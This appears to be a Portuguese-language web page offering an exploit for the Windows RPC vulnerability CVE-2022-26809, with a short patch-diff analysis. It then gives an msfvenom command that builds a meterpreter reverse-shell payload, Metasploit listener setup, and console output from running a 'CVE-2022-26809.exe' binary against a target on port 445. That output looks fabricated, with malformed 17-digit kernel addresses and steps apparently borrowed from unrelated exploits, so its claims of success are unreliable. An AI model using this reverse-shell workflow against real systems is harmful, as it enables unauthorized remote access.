
Exploit de execução remota de código para CVE-2022-26809 direcionado a estouro de buffer de heap do Windows RPC com integração de shellcode do msfvenom e entrega de payload de shell reverso meterpreter.
CVE-2022-26809 - uma fragilidade em um componente central do Windows (RPC) obteve uma pontuação CVSS de 9,8 não sem motivo, pois o ataque não requer autenticação e pode ser executado remotamente através de uma rede, podendo resultar em execução remota de código (RCE) com os privilégios do serviço RPC, que dependem do processo que hospeda o runtime RPC. Esse bug crítico, com um pouco de sorte, permite obter acesso a um host Windows sem correção que esteja executando SMB. A vulnerabilidade pode ser explorada tanto de fora da rede para violá-la quanto entre máquinas na rede.
Informações do Fornecedor
Hosts vulneráveis testados:
Iremos atualizar essa lista posteriormente. Suspeitamos que quase todas as builds com SMB em execução e porta 445 aberta sofrerão.
TCP 135,139,445
O CVE afirmou que as vulnerabilidades residem no runtime RPC do Windows, que é implementado em uma biblioteca chamada rpcrt4.dll. Essa biblioteca de runtime é carregada tanto em processos cliente quanto servidor que utilizam o protocolo RPC para comunicação. Comparamos as versões 10.0.22000.434 (Março) e 10.0.22000.613 (corrigida) e identificamos uma lista de alterações.
As funções OSF_SCALL::ProcessResponse e OSF_CCALL::ProcessReceivedPDU são semelhantes em natureza; ambas processam pacotes RPC, mas uma é executada no lado do servidor e a outra no lado do cliente (SCALL e CCALL). Ao fazer o diff de OSF_SCALL::ProcessReceivedPDU, notamos dois blocos de código que foram adicionados na nova versão.


Observando o código corrigido, vimos que após QUEUE::PutOnQueue uma nova função foi chamada. Inspecionando a nova função e mergulhando em seu código, descobrimos que ela verifica estouros de inteiros. Em outras palavras, a nova função na correção foi adicionada para verificar se uma variável inteira permanecia dentro de uma faixa de valores esperada.

Aprofundando no código vulnerável em OSF_SCALL:GetCoalescedBuffer, notamos que o bug de estouro de inteiro poderia levar a um estouro de buffer no heap, onde dados são copiados para um buffer pequeno demais para populá-lo. Isso por sua vez permite que dados sejam escritos fora dos limites do buffer, no heap. Quando explorado, essa primitiva nos leva à execução remota de código!
Uma chamada semelhante para verificar estouro de inteiro foi adicionada em outras funções também:
OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer
A vulnerabilidade de estouro de inteiro e a função que a previne existem tanto nos fluxos de execução do lado do cliente quanto do lado do servidor.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
CVE-2022-26809 ip porta
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] Exploit Suceess!